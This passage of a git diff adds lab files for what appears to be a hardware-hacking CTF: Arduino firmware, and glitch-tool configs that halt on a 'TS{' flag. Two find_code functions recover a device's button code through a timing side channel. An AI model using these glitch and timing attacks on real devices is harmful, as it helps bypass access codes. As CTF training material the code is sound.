+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/docs/10_setup.png b/docs/10_setup.png
new file mode 100644
index 0000000..008945c
--- /dev/null
+++ b/docs/10_setup.png
Binary files differ
diff --git a/docs/11_GoB.png b/docs/11_GoB.png
new file mode 100644
index 0000000..07f38ae
--- /dev/null
+++ b/docs/11_GoB.png
Binary files differ
diff --git a/docs/11_GoB_config.py b/docs/11_GoB_config.py
new file mode 100644
index 0000000..f7e8036
--- /dev/null
+++ b/docs/11_GoB_config.py
@@ -0,0 +1,123 @@
+import functions
+import threading
+import time
+
+###### Config values ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1000000
+UART_NEWLINE = "\n"
+
+LENGTH = 12
+REPEAT = 1
+DELAY = 0
+
